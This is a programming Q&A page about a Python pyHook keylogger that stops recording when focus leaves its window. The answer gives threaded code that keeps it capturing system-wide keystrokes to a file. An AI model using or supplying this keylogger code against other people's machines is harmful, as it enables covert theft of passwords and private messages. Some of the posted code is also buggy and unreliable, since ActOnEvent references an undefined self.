Search code examples
pythonkeyloggerpyhookpythoncom

why does pythoncom.pumpmessages() stop working?


so I am writing a program that is logging keystrokes and it works great until I click away from the program's box. when i clicked on like cortana a browser and started typing, it logged a few strokes then completely stopped. It also didn't throw any errors so I don't know how to debug it.

def run(self):
    hm = pyHook.HookManager()
    hm.KeyDown = self.OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

def OnKeyboardEvent(self,event):
        ch=chr(event.Ascii)
        #print [ch]
        if ch in '\x00\x08':
            val='/*'+event.Key+'*/'
            if (val!=self.prev or ch=='\x08') and 'Capital' not in val:
                print val,
                self.writetofile(str(val))
                data=shelve.open('loggerinfo')
                data['strokes']=data['strokes'].append(val)
                data.close()
                self.prev=val
        else:
            self.prev=ch
            char=None
            if ch=='\r':
                char='/*return*/'
            elif ch=='\t':
                char='/*tab*/'
            else:
                char=ch
            if char!=None:
                print char,
                self.writetofile(str(char))
                data=shelve.open('loggerinfo')
                data['strokes']=data['strokes'].append(char)
                data.close()
        return True

Im not sure what the problem could be because it does not throw an error.


Solution

  • The problem is that your callback function, OnKeyBoardEvent, needs to return True/False before the event is propagated to the rest of your system. This is because pyHook is a very low-level intercept.

    As I found out recently, if your function takes too long to return a True/False, pyHook will stop intercepting keypresses entirely. So, what you should do, is set up a thread and return True immediately. This will let whatever it is you want to do execute asynchronously.

    Something like below. You might want to look into locks to make sure shelve isn't being accessed by more than one thread at once.

    import threading    
    
    def run(self):
        hm = pyHook.HookManager()
        hm.KeyDown = self.OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()
    
    def ActOnEvent(event):
        ch=chr(event.Ascii)
        #print [ch]
        if ch in '\x00\x08':
            val='/*'+event.Key+'*/'
            if (val!=self.prev or ch=='\x08') and 'Capital' not in val:
                print val,
                self.writetofile(str(val))
                data=shelve.open('loggerinfo')
                data['strokes']=data['strokes'].append(val)
                data.close()
                self.prev=val
        else:
            self.prev=ch
            char=None
            if ch=='\r':
                char='/*return*/'
            elif ch=='\t':
                char='/*tab*/'
            else:
                char=ch
            if char!=None:
                print char,
                self.writetofile(str(char))
                data=shelve.open('loggerinfo')
                data['strokes']=data['strokes'].append(char)
                data.close()    
    
    def OnKeyboardEvent(self,event):
        threading.Thread(target=ActOnEvent, args=(event,)).start()
        return True